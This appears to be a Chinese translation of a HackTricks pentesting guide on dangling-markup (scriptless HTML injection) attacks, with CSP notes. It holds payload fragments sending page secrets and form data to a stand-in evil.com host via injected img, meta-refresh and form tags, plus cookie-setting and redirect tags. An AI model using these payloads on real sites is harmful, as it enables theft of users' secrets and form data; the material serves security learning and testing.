Dangling Markup - HTML scriptless injection
Last updated
Last updated
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
此技术可用于在发现 HTML 注入 时从用户提取信息。如果你 找不到任何利用 XSS 的方法,但可以 注入一些 HTML 标签,这将非常有用。 如果某些 秘密以明文形式保存在 HTML 中,你想从客户端 提取 它,或者你想误导某些脚本执行,这也很有用。
这里提到的几种技术可以通过以意想不到的方式(html 标签、CSS、http-meta 标签、表单、base...)提取信息来绕过某些 内容安全策略。
如果你在页面加载时注入 <img src='http://evil.com/log.cgi?
,受害者将向你发送所有在注入的 img
标签和代码中的下一个引号之间的代码。如果某个秘密位于该块中,你将窃取它(你也可以使用双引号,看看哪种使用方式更有趣)。
如果 img
标签被禁止(例如由于 CSP),你也可以使用 <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
注意,Chrome 阻止包含 "<" 或 "\n" 的 HTTP URL,因此您可以尝试其他协议方案,如 "ftp"。
您还可以滥用 CSS @import
(将发送所有代码,直到找到 ";")
您还可以使用 <table
:
您还可以插入一个 <base
标签。所有信息将在引号关闭之前发送,但这需要一些用户交互(用户必须点击某个链接,因为 base 标签将更改链接指向的域):
然后,发送数据到路径的表单(如 <form action='update_profile.php'>
)将把数据发送到恶意域名。
设置表单头:<form action='http://evil.com/log_steal'>
这将覆盖下一个表单头,所有来自表单的数据将被发送给攻击者。
按钮可以通过属性 "formaction" 更改信息将要发送到的表单的 URL:
攻击者可以利用这一点窃取信息。
在此报告中找到此攻击的示例。
使用最新提到的技术窃取表单(注入新的表单头),您可以然后注入一个新的输入字段:
并且这个输入字段将包含其双引号之间和下一个双引号之间的所有内容在HTML中。这个攻击将“Stealing clear text secrets”与“Stealing forms2”混合在一起。
您可以通过注入一个表单和一个<option>
标签来做同样的事情。所有数据直到找到一个闭合的</option>
将被发送:
您可以更改表单的路径并插入新值,以便执行意外的操作:
<noscript></noscript>
是一个标签,其内容将在浏览器不支持 JavaScript 时被解释(您可以在 chrome://settings/content/javascript 中启用/禁用 JavaScript)。
一种将从注入点到页面底部的网页内容导出到攻击者控制的网站的方法是注入以下内容:
从这个 portswiggers 研究 中你可以了解到,即使在 最严格的 CSP 环境中,你仍然可以通过一些 用户交互 来 提取数据。在这种情况下,我们将使用以下有效载荷:
注意,你将要求受害者点击一个链接,该链接将重定向他到由你控制的有效载荷。还要注意,base
标签中的target
属性将包含HTML内容,直到下一个单引号。
这将使得如果点击链接,window.name
的值将是所有的HTML内容。因此,由于你控制了受害者通过点击链接访问的页面,你可以访问该**window.name
并提取**该数据:
在 HTML 中插入一个带有 id 的新标签,该标签将覆盖下一个标签,并且其值将影响脚本的流程。在这个例子中,您正在选择与谁共享信息:
通过插入 HTML 标签在 JavaScript 命名空间内创建变量。然后,这个变量将影响应用程序的流程:
如果你发现一个 JSONP 接口,你可能能够用任意数据调用任意函数:
或者你甚至可以尝试执行一些javascript:
子文档能够查看和修改其父文档的 location
属性,即使在跨源情况下也是如此。这允许在 iframe 中嵌入一个脚本,可以将客户端重定向到任意页面:
这可以通过类似于:sandbox=' allow-scripts allow-top-navigation'
来缓解。
iframe 也可以被滥用来泄露来自不同页面的敏感信息 使用 iframe name 属性。这是因为你可以创建一个 iframe,它自身嵌套 iframe,利用 HTML 注入使 敏感信息出现在 iframe name 属性中,然后从初始 iframe 访问该名称并泄露它。
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
您可以使用 meta http-equiv
执行 多个操作,例如设置 Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1">
或执行重定向(在此情况下为 5 秒): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
这可以通过关于 http-equiv 的 CSP 来 避免( Content-Security-Policy: default-src 'self';
,或 Content-Security-Policy: http-equiv 'self';
)
您可以在 这里 找到关于 <portal 标签可利用漏洞的非常 有趣的研究。
在撰写本文时,您需要在 chrome://flags/#enable-portals
中启用 portal 标签,否则它将无法工作。
并非所有在 HTML 中泄漏连接的方式都对 Dangling Markup 有用,但有时它可能会有所帮助。请在这里查看: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
这是 dangling markup 和 XS-Leaks 的 混合。一方面,漏洞允许在 同源 的页面中 注入 HTML(但不包括 JS)。另一方面,我们不会直接 攻击 可以注入 HTML 的页面,而是 另一个页面。
XS-Search 旨在 提取跨源信息,利用 侧信道攻击。因此,这是一种不同于 Dangling Markup 的技术,然而,一些技术利用了 HTML 标签的包含(有和没有 JS 执行),如 CSS 注入 或 懒加载图像。
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术: HackTricks 培训 GCP 红队专家 (GRTE)